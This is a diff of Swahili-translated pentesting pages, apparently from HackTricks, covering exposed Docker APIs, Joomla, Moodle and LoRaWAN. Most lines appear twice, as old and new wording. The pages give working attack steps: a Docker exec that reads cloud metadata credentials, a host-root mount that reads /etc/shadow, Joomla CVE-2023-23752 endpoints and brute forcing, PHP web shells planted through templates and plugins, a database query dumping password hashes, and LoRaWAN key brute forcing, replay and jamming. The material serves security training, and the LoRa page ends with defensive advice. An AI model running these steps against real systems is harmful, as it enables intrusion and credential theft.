Wakati **Docker inatumia Containerd** kuendesha kontena, ni muhimu kutambua kwamba Containerd inasaidia tu sehemu ya kazi za Docker. Kwa hakika, Containerd haina uwezo wa usimamizi wa mtandao ulio katika Docker na haisaidii kuunda makundi ya Docker moja kwa moja. Tofauti hii inaonyesha jukumu lililolengwa la Containerd kama mazingira ya utekelezaji wa kontena, ikitenga kazi maalum zaidi kwa majukwaa inayounganisha nayo.
Wakati **Docker inatumia Containerd** kuendesha kontena, ni muhimu kutambua kwamba Containerd inasaidia tu sehemu ya kazi za Docker. Kwa hakika, Containerd haina uwezo wa usimamizi wa mtandao ulio katika Docker na haisaidii kuunda makundi ya Docker moja kwa moja. Tofauti hii inaonyesha jukumu lililokusanywa la Containerd kama mazingira ya utekelezaji wa kontena, ikitenga kazi maalum zaidi kwa majukwaa inayounganisha nayo.
```bash
#Containerd CLI
ctr images pull --skip-verify --plain-http registry:5000/alpine:latest #Get image
@ -63,20 +63,20 @@ ctr container delete <containerName>
```
#### Podman
**Podman** ni injini ya kontena ya chanzo wazi inayofuata viwango vya [Open Container Initiative (OCI)](https://github.com/opencontainers), iliyotengenezwa na kudumishwa na Red Hat. Inajitofautisha na Docker kwa sifa kadhaa tofauti, hasa **mifumo isiyo na daemon** na msaada wa **kontena zisizo na mizizi**, ikiruhusu watumiaji kuendesha kontena bila ruhusa za mizizi.
**Podman** ni injini ya kontena ya chanzo wazi inayofuata viwango vya [Open Container Initiative (OCI)](https://github.com/opencontainers), iliyotengenezwa na kudumishwa na Red Hat. Inajitenga na Docker kwa sifa kadhaa tofauti, hasa **mifumo isiyo na daemon** na msaada wa **kontena zisizo na mizizi**, ikiruhusu watumiaji kuendesha kontena bila ruhusa za mizizi.
Podman imeundwa kuwa na ufanisi na API ya Docker, ikiruhusu matumizi ya amri za Docker CLI. Ufanisi huu unapanuka hadi kwenye mfumo wake wa ikolojia, ambao unajumuisha zana kama **Buildah** kwa ajili ya kujenga picha za kontena na **Skopeo** kwa ajili ya operesheni za picha kama push, pull, na inspect. Maelezo zaidi kuhusu zana hizi yanaweza kupatikana kwenye [GitHub page](https://github.com/containers/buildah/tree/master/docs/containertools).
Podman imeundwa kuwa na ufanisi na API ya Docker, ikiruhusu matumizi ya amri za Docker CLI. Ufanisi huu unapanuka hadi kwenye mfumo wake wa ikolojia, ambao unajumuisha zana kama **Buildah** kwa ajili ya kujenga picha za kontena na **Skopeo** kwa ajili ya operesheni za picha kama vile push, pull, na inspect. Maelezo zaidi kuhusu zana hizi yanaweza kupatikana kwenye [GitHub page](https://github.com/containers/buildah/tree/master/docs/containertools).
**Mabadiliko Muhimu**
**Tofauti Muhimu**
- **Mifumo**: Tofauti na mfano wa mteja-server wa Docker wenye daemon ya nyuma, Podman inafanya kazi bila daemon. Muundo huu unamaanisha kwamba kontena zinaendesha kwa ruhusa za mtumiaji anayezizindua, kuboresha usalama kwa kuondoa hitaji la ufikiaji wa mizizi.
- **Ushirikiano wa Systemd**: Podman inashirikiana na **systemd** kusimamia kontena, ikiruhusu usimamizi wa kontena kupitia vitengo vya systemd. Hii inatofautiana na matumizi ya Docker ya systemd hasa kwa kusimamia mchakato wa daemon wa Docker.
- **Mifumo**: Tofauti na mfano wa mteja-server wa Docker wenye daemon ya nyuma, Podman inafanya kazi bila daemon. Muundo huu unamaanisha kwamba kontena zinaendesha kwa ruhusa za mtumiaji anayezianza, kuboresha usalama kwa kuondoa hitaji la ufikiaji wa mizizi.
- **Ushirikiano wa Systemd**: Podman inashirikiana na **systemd** ili kudhibiti kontena, ikiruhusu usimamizi wa kontena kupitia vitengo vya systemd. Hii inatofautiana na matumizi ya Docker ya systemd hasa kwa ajili ya kusimamia mchakato wa daemon wa Docker.
- **Kontena zisizo na mizizi**: Sifa muhimu ya Podman ni uwezo wake wa kuendesha kontena chini ya ruhusa za mtumiaji anayezindua. Njia hii inapunguza hatari zinazohusiana na uvunjaji wa kontena kwa kuhakikisha kwamba washambuliaji wanapata tu ruhusa za mtumiaji aliyeathirika, si ufikiaji wa mizizi.
Njia ya Podman inatoa mbadala salama na rahisi kwa Docker, ikisisitiza usimamizi wa ruhusa za mtumiaji na ufanisi na mifumo iliyopo ya Docker.
Njia ya Podman inatoa mbadala salama na rahisi kwa Docker, ikisisitiza usimamizi wa ruhusa za mtumiaji na ufanisi na mifumo ya kazi ya Docker iliyopo.
> [!NOTE]
> Kumbuka kwamba kama podman inakusudia kusaidia API sawa na docker, unaweza kutumia amri sawa na podman kama na docker kama:
> [!TIP]
> Kumbuka kwamba kwa kuwa podman inakusudia kusaidia API sawa na docker, unaweza kutumia amri sawa na podman kama na docker kama vile:
>
> ```bash
> podman --version
@ -134,9 +134,9 @@ docker-init:
Version: 0.18.0
GitCommit: fec3683
```
Ikiwa unaweza **kuwasiliana na API ya mbali ya docker kwa kutumia amri ya `docker`** unaweza **kutekeleza** yoyote ya **docker** [**amri zilizozungumziwa hapo awali**](2375-pentesting-docker.md#basic-commands) ili kuingilia huduma hiyo.
Ikiwa unaweza **kuwasiliana na API ya docker ya mbali kwa kutumia amri ya `docker`** unaweza **kutekeleza** yoyote ya **docker** [**amri zilizozungumziwa hapo awali**](2375-pentesting-docker.md#basic-commands) ili kuingilia huduma hiyo.
> [!NOTE]
> [!TIP]
> Unaweza `export DOCKER_HOST="tcp://localhost:2375"` na **kuepuka** kutumia parameter ya `-H` pamoja na amri ya docker
**Kuongeza mamlaka kwa haraka**
@ -152,7 +152,7 @@ curl insecure https://tlsopen.docker.socket:2376/containers/json | jq
#List processes inside a container
curl insecure https://tlsopen.docker.socket:2376/containers/f9cecac404b01a67e38c6b4111050c86bbb53d375f9cca38fa73ec28cc92c668/top | jq
#Set up and exec job to hit the metadata URL
curl insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}'
curl insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- [http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}']
#Get the output
curl insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/4353567ff39966c4d231e936ffe612dbb06e1b7dd68a676ae1f0a9c9c0662d55/start -d '{}'
# list secrets (no secrets/swarm not set up)
@ -184,13 +184,13 @@ nmap -sV --script "docker-*" -p <PORT> <IP>
```
### Kupenya
Katika ukurasa ufuatao unaweza kupata njia za **kutoroka kutoka kwenye kontena la docker**:
Katika ukurasa ufuatao unaweza kupata njia za **kutoroka kutoka kwa kontena la docker**:
{{#ref}}
../linux-hardening/privilege-escalation/docker-security/
{{#endref}}
Kwa kutumia hii inawezekana kutoroka kutoka kwenye kontena, unaweza kuendesha kontena dhaifu kwenye mashine ya mbali, kutoroka kutoka kwake, na kupenya mashine:
Kwa kutumia hii inawezekana kutoroka kutoka kwa kontena, unaweza kuendesha kontena dhaifu kwenye mashine ya mbali, kutoroka kutoka kwake, na kupenya mashine:
```bash
docker -H <host>:2375 run --rm -it --privileged --net=host -v /:/mnt alpine
cat /mnt/etc/shadow
@ -226,7 +226,7 @@ docker cp <docket_id>:/etc/<secret_01> <secret_01>
- `./docker-bench-security.sh`
- Unaweza kutumia chombo [https://github.com/kost/dockscan](https://github.com/kost/dockscan) kukagua usakinishaji wako wa docker wa sasa.
- `dockscan -v unix:///var/run/docker.sock`
- Unaweza kutumia chombo [https://github.com/genuinetools/amicontained](https://github.com/genuinetools/amicontained) kuangalia mamlaka ambayo kontena litakuwa nayo linapokimbizwa kwa chaguzi tofauti za usalama. Hii ni muhimu kujua athari za kutumia baadhi ya chaguzi za usalama kuendesha kontena:
- Unaweza kutumia chombo [https://github.com/genuinetools/amicontained](https://github.com/genuinetools/amicontained) kuangalia haki ambazo kontena litakuwa nazo linapokimbizwa kwa chaguzi tofauti za usalama. Hii ni muhimu kujua athari za kutumia baadhi ya chaguzi za usalama kukimbiza kontena:
- `docker run --rm -it r.j3ss.co/amicontained`
- `docker run --rm -it --pid host r.j3ss.co/amicontained`
- `docker run --rm -it --security-opt "apparmor=unconfined" r.j3ss.co/amicontained`
@ -259,10 +259,10 @@ docker cp <docket_id>:/etc/<secret_01> <secret_01>
![](<../images/image (501).png>)
#### Kurekodi shughuli za kushangaza
#### Kurekodi shughuli za kutatanisha
- Unaweza kutumia chombo [https://github.com/falcosecurity/falco](https://github.com/falcosecurity/falco) kugundua **tabia za kushangaza katika kontena zinazoendesha**.
- Kumbuka katika kipande kinachofuata jinsi **Falco inavyokusanya moduli ya kernel na kuingiza**. Baada ya hapo, inaloadi sheria na **kuanza kurekodi shughuli za kushangaza**. Katika kesi hii imegundua kontena 2 zenye mamlaka yaliyoanzishwa, 1 kati yao ikiwa na mlima wa nyeti, na baada ya sekunde chache imegundua jinsi shell ilifunguliwa ndani ya moja ya kontena.
- Unaweza kutumia chombo [https://github.com/falcosecurity/falco](https://github.com/falcosecurity/falco) kugundua **tabia za kutatanisha katika kontena zinazoendesha**.
- Kumbuka katika kipande kinachofuata jinsi **Falco inavyokusanya moduli ya kernel na kuingiza**. Baada ya hapo, inapakua sheria na **kuanza kurekodi shughuli za kutatanisha**. Katika kesi hii imegundua kontena 2 zenye haki, 1 kati yao ikiwa na mlima wa nyeti, na baada ya sekunde chache imegundua jinsi shell ilifunguliwa ndani ya moja ya kontena.
```bash
docker run -it --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro falco
* Setting up /usr/src links from host

View File

@ -5,7 +5,7 @@
### Takwimu za Joomla
Joomla inakusanya takwimu za [matumizi](https://developer.joomla.org/about/stats.html) zisizo na majina kama vile mgawanyiko wa matoleo ya Joomla, PHP na hifadhidata na mifumo ya uendeshaji ya seva zinazotumika kwenye usakinishaji wa Joomla. Takwimu hizi zinaweza kuombwa kupitia [API](https://developer.joomla.org/about/stats/api.html) yao ya umma.
Joomla inakusanya takwimu za [matumizi](https://developer.joomla.org/about/stats.html) zisizo na jina kama vile mgawanyiko wa matoleo ya Joomla, PHP na hifadhidata na mifumo ya uendeshaji ya seva zinazotumika kwenye usakinishaji wa Joomla. Takwimu hizi zinaweza kuombwa kupitia [API](https://developer.joomla.org/about/stats/api.html) yao ya umma.
```bash
curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool
@ -58,7 +58,7 @@ curl https://www.joomla.org/ | grep Joomla | grep generator
1- What is this?
* This is a Joomla! installation/upgrade package to version 3.x
* Joomla! Official site: https://www.joomla.org
* Joomla! 3.9 version history - https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history
* Joomla! 3.9 version history - [https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history](https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history)
* Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging
```
### Toleo
@ -75,7 +75,7 @@ In[ **80,443 - Pentesting Web Methodology ni sehemu kuhusu skana za CMS**](#cms-
### API Ufunuo wa Taarifa Bila Uthibitisho:
Matoleo Kuanzia 4.0.0 hadi 4.2.7 yana hatari ya ufunuo wa taarifa bila uthibitisho (CVE-2023-23752) ambayo itatoa creds na taarifa nyingine.
Matoleo Kutoka 4.0.0 hadi 4.2.7 yana hatari ya ufunuo wa taarifa bila uthibitisho (CVE-2023-23752) ambayo itatoa creds na taarifa nyingine.
- Watumiaji: `http://<host>/api/v1/users?public=true`
- Faili ya Mipangilio: `http://<host>/api/index.php/v1/config/application?public=true`
@ -84,7 +84,7 @@ Matoleo Kuanzia 4.0.0 hadi 4.2.7 yana hatari ya ufunuo wa taarifa bila uthibitis
### Brute-Force
Unaweza kutumia hii [script](https://github.com/ajnik/joomla-bruteforce) kujaribu kufanya brute force kwenye kuingia.
Unaweza kutumia [script](https://github.com/ajnik/joomla-bruteforce) hii kujaribu kufanya brute force kwenye kuingia.
```shell-session
sudo python3 joomla-brute.py -u http://joomla-site.local/ -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin
@ -95,15 +95,15 @@ admin:admin
Ikiwa umeweza kupata **admin credentials** unaweza **RCE ndani yake** kwa kuongeza kipande cha **PHP code** ili kupata **RCE**. Tunaweza kufanya hivi kwa **kubadilisha** **template**.
1. **Bonyeza** kwenye **`Templates`** chini kushoto chini ya `Configuration` ili kuleta menyu ya templates.
2. **Bonyeza** kwenye jina la **template**. Tuchague **`protostar`** chini ya kichwa cha safu ya `Template`. Hii itatuletea kwenye ukurasa wa **`Templates: Customise`**.
3. Hatimaye, unaweza kubonyeza kwenye ukurasa ili kuleta **page source**. Tuchague ukurasa wa **`error.php`**. Tutongeza **PHP one-liner ili kupata utekelezaji wa code** kama ifuatavyo:
2. **Bonyeza** kwenye jina la **template**. Hebu chague **`protostar`** chini ya kichwa cha safu ya `Template`. Hii itatuletea kwenye ukurasa wa **`Templates: Customise`**.
3. Hatimaye, unaweza kubonyeza kwenye ukurasa ili kuleta **chanzo cha ukurasa**. Hebu chague ukurasa wa **`error.php`**. Tutongeza **PHP one-liner ili kupata utekelezaji wa code** kama ifuatavyo:
1. **`system($_GET['cmd']);`**
4. **Hifadhi & Funga**
5. `curl -s http://joomla-site.local/templates/protostar/error.php?cmd=id`
## From XSS to RCE
- [**JoomSploit**](https://github.com/nowak0x01/JoomSploit): Joomla Exploitation Script ambayo **inaweza kuinua XSS hadi RCE au Uthibitisho Mwingine wa Kihatarishi**. Kwa maelezo zaidi angalia [**hii posti**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Inatoa **msaada kwa Joomla Versions 5.X.X, 4.X.X, na 3.X.X, na inaruhusu:**
- [**JoomSploit**](https://github.com/nowak0x01/JoomSploit): Joomla Exploitation Script ambayo **inainua XSS hadi RCE au Uthibitisho Mwingine wa Kihatarishi**. Kwa maelezo zaidi angalia [**hii chapisho**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Inatoa **msaada kwa Joomla Versions 5.X.X, 4.X.X, na 3.X.X, na inaruhusu:**
- _**Privilege Escalation:**_ Inaunda mtumiaji katika Joomla.
- _**(RCE) Built-In Templates Edit:**_ Hariri Templates za Built-In katika Joomla.
- _**(Custom) Custom Exploits:**_ Custom Exploits kwa Plugins za Tatu za Joomla.

View File

@ -20,8 +20,8 @@ http://moodle.schooled.htb/moodle/mod/forum/version.php
3.10.0-beta
[+] Possible interesting urls found:
Static readme file. - http://moodle.schooled.htb/moodle/README.txt
Admin panel - http://moodle.schooled.htb/moodle/login/
Static readme file. - [http://moodle.schooled.htb/moodle/README.txt](http://moodle.schooled.htb/moodle/README.txt)
Admin panel - [http://moodle.schooled.htb/moodle/login/](http://moodle.schooled.htb/moodle/login/)
[+] Scan finished (0:00:05.643539 elapsed)
```
@ -80,7 +80,7 @@ moodle-rce-plugin.zip
Au unaweza kutumia plugin kutoka [https://github.com/HoangKien1020/Moodle_RCE](https://github.com/HoangKien1020/Moodle_RCE) kupata PHP shell ya kawaida na parameter "cmd".
Ili kufikia uzinduzi wa plugin mbaya unahitaji kufikia:
Ili kufikia kuanzisha plugin mbaya unahitaji kufikia:
```bash
http://domain.com/<moodle_path>/blocks/rce/lang/en/block_rce.php?cmd=id
```
@ -90,7 +90,7 @@ http://domain.com/<moodle_path>/blocks/rce/lang/en/block_rce.php?cmd=id
```bash
find / -name "config.php" 2>/dev/null | grep "moodle/config.php"
```
### Pata Akida kutoka kwa hifadhidata
### Pata Akauti kutoka kwa hifadhidata
```bash
/usr/local/bin/mysql -u <username> --password=<password> -e "use moodle; select email,username,password from mdl_user; exit"
```

View File

@ -27,7 +27,7 @@ Long Range (**LoRa**) kwa sasa ndiyo tabaka la LPWAN lililotumika zaidi na spesi
|-------|----------|------------------|
| PHY | Jamming ya reaktivi / ya kuchagua | Upotevu wa pakiti 100 % umeonyeshwa kwa SDR moja na pato <1 W |
| MAC | Kujiunga-Kubali & kurudiwa kwa data-frame (tena matumizi ya nonce, ABP counter rollover) | Ulaghai wa kifaa, sindano ya ujumbe, DoS |
| Network-Server | Packet-forwarder isiyo salama, filters dhaifu za MQTT/UDP, firmware ya lango isiyosasishwa | RCE kwenye lango → kuhamasisha kwenye mtandao wa OT/IT |
| Network-Server | Packet-forwarder isiyo salama, filters dhaifu za MQTT/UDP, firmware ya lango isiyosasishwa | RCE kwenye lango → kuhamia kwenye mtandao wa OT/IT |
| Application | AppKeys zilizoandikwa kwa ngumu au zinazoweza kutabirika | Kujaribu nguvu/kufichua trafiki, kujifanya kuwa sensorer |
---
@ -36,7 +36,7 @@ Long Range (**LoRa**) kwa sasa ndiyo tabaka la LPWAN lililotumika zaidi na spesi
* **CVE-2024-29862** *ChirpStack gateway-bridge & mqtt-forwarder* ilikubali pakiti za TCP ambazo zilipita sheria za firewall za hali kwenye lango za Kerlink, kuruhusu kufichuliwa kwa kiolesura cha usimamizi wa mbali. Imefanyiwa marekebisho katika 4.0.11 / 4.2.1 mtawalia.
* **Dragino LG01/LG308 series** CVEs nyingi za 2022-2024 (mfano 2022-45227 directory traversal, 2022-45228 CSRF) bado zinaonekana hazijarekebishwa mwaka 2025; wezesha dump ya firmware isiyo na uthibitisho au kuandika over config kwenye maelfu ya lango za umma.
* Semtech *packet-forwarder UDP* overflow (tahadhari isiyoachiliwa, ilirekebishwa 2023-10): uplink iliyoundwa kubwa zaidi ya 255 B ilizindua stack-smash > RCE kwenye lango za rejea za SX130x (ilionekana na Black Hat EU 2023 “LoRa Exploitation Reloaded”).
* Semtech *packet-forwarder UDP* overflow (tahadhari isiyoachiliwa, ilirekebishwa 2023-10): uplink iliyoundwa kubwa zaidi ya 255 B ilichochea stack-smash > RCE kwenye lango za rejea za SX130x (ilionekana na Black Hat EU 2023 “LoRa Exploitation Reloaded”).
---
@ -51,45 +51,45 @@ python3 lorattack/sniffer.py \
# Bruteforce AppKey from captured OTAA join-request/accept pairs
python3 lorapwn/bruteforce_join.py --pcap smartcity.pcap --wordlist top1m.txt
```
### 2. OTAA join-replay (DevNonce reuse)
### 2. OTAA join-replay (Kurudi kwa DevNonce)
1. Pata **JoinRequest** halali.
2. Mara moja itumie tena (au ongeza RSSI) kabla ya kifaa cha asili kutuma tena.
2. Mara moja itumie tena (au ongeza RSSI) kabla ya kifaa asilia kutuma tena.
3. Mtandao-server inatoa DevAddr mpya & funguo za kikao wakati kifaa kilicholengwa kinaendelea na kikao cha zamani → mshambuliaji anamiliki kikao kilichokuwa wazi na anaweza kuingiza uplinks za uongo.
### 3. Adaptive Data-Rate (ADR) downgrading
### 3. Adaptive Data-Rate (ADR) kudunisha
Lazimisha SF12/125 kHz kuongeza muda wa hewa → choma duty-cycle ya gateway (denial-of-service) wakati ukihifadhi athari za betri chini kwa mshambuliaji (tuma tu amri za MAC za kiwango cha mtandao).
Lazimisha SF12/125 kHz kuongeza muda wa hewa → choma mzunguko wa wajibu wa lango (kukataa huduma) wakati ukihifadhi athari za betri chini kwa mshambuliaji (tuma tu amri za MAC za kiwango cha mtandao).
### 4. Reactive jamming
### 4. Jamming ya majibu
*HackRF One* inayoendesha GNU Radio flowgraph inasababisha chirp ya bendi pana kila wakati preamble inagunduliwa inazuia sababu zote za kueneza zikiwa ≤200 mW TX; kukosekana kabisa kunapimwa kwa umbali wa 2 km.
---
## Offensive tooling (2025)
## Zana za mashambulizi (2025)
| Tool | Purpose | Notes |
| Zana | Kusudi | Maelezo |
|------|---------|-------|
| **LoRaWAN Auditing Framework (LAF)** | Craft/parse/attack LoRaWAN frames, DB-backed analyzers, brute-forcer | Docker image, supports Semtech UDP input |
| **LoRaPWN** | Trend Micro Python utility to brute OTAA, generate downlinks, decrypt payloads | Demo released 2023, SDR-agnostic |
| **LoRAttack** | Multi-channel sniffer + replay with USRP; exports PCAP/LoRaTap | Good Wireshark integration |
| **gr-lora / gr-lorawan** | GNU Radio OOT blocks for baseband TX/RX | Foundation for custom attacks |
| **LoRaWAN Auditing Framework (LAF)** | Tengeneza/pitia/shambulia fremu za LoRaWAN, wachambuzi wanaoungwa mkono na DB, brute-forcer | Picha ya Docker, inasaidia Semtech UDP input |
| **LoRaPWN** | Zana ya Python ya Trend Micro kutekeleza OTAA, kuunda downlinks, kufungua payloads | Onyesho lililotolewa 2023, SDR-agnostic |
| **LoRAttack** | Sniffer wa chaneli nyingi + replay na USRP; inasafirisha PCAP/LoRaTap | Uunganisho mzuri wa Wireshark |
| **gr-lora / gr-lorawan** | Blocks za GNU Radio OOT kwa TX/RX ya baseband | Msingi wa mashambulizi maalum |
---
## Defensive recommendations (pentester checklist)
## Mapendekezo ya kujihami (orodha ya ukaguzi wa pentester)
1. Prefer **OTAA** devices with truly random DevNonce; monitor duplicates.
2. Enforce **LoRaWAN 1.1**: 32-bit frame counters, distinct FNwkSIntKey / SNwkSIntKey.
3. Store frame-counter in non-volatile memory (**ABP**) or migrate to OTAA.
4. Deploy **secure-element** (ATECC608A/SX1262-TRX-SE) to protect root keys against firmware extraction.
5. Disable remote UDP packet-forwarder ports (1700/1701) or restrict with WireGuard/VPN.
6. Keep gateways updated; Kerlink/Dragino provide 2024-patched images.
7. Implement **traffic anomaly detection** (e.g., LAF analyzer) flag counter resets, duplicate joins, sudden ADR changes.
1. Prefer **OTAA** vifaa vyenye DevNonce halisi za nasibu; angalia nakala.
2. Lazimisha **LoRaWAN 1.1**: 32-bit frame counters, funguo tofauti za FNwkSIntKey / SNwkSIntKey.
3. Hifadhi frame-counter katika kumbukumbu isiyohamishika (**ABP**) au hamasisha kwa OTAA.
4. Weka **secure-element** (ATECC608A/SX1262-TRX-SE) kulinda funguo za mzizi dhidi ya uchimbaji wa firmware.
5. Zima bandari za kupeleka UDP za mbali (1700/1701) au punguza kwa WireGuard/VPN.
6. Weka lango zikiwa za kisasa; Kerlink/Dragino hutoa picha zilizorekebishwa za 2024.
7. Tekeleza **ugunduzi wa anomali za trafiki** (mfano, mchambuzi wa LAF) alama upya wa kaunta, kujiunga kwa nakala, mabadiliko ya ghafla ya ADR.
## References
## Marejeo
* LoRaWAN Auditing Framework (LAF) https://github.com/IOActive/laf
* Trend Micro LoRaPWN overview https://www.hackster.io/news/trend-micro-finds-lorawan-security-lacking-develops-lorapwn-python-utility-bba60c27d57a
* LoRaWAN Auditing Framework (LAF) [https://github.com/IOActive/laf](https://github.com/IOActive/laf)
* Muhtasari wa Trend Micro LoRaPWN [https://www.hackster.io/news/trend-micro-finds-lorawan-security-lacking-develops-lorapwn-python-utility-bba60c27d57a](https://www.hackster.io/news/trend-micro-finds-lorawan-security-lacking-develops-lorapwn-python-utility-bba60c27d57a)
{{#include ../../banners/hacktricks-training.md}}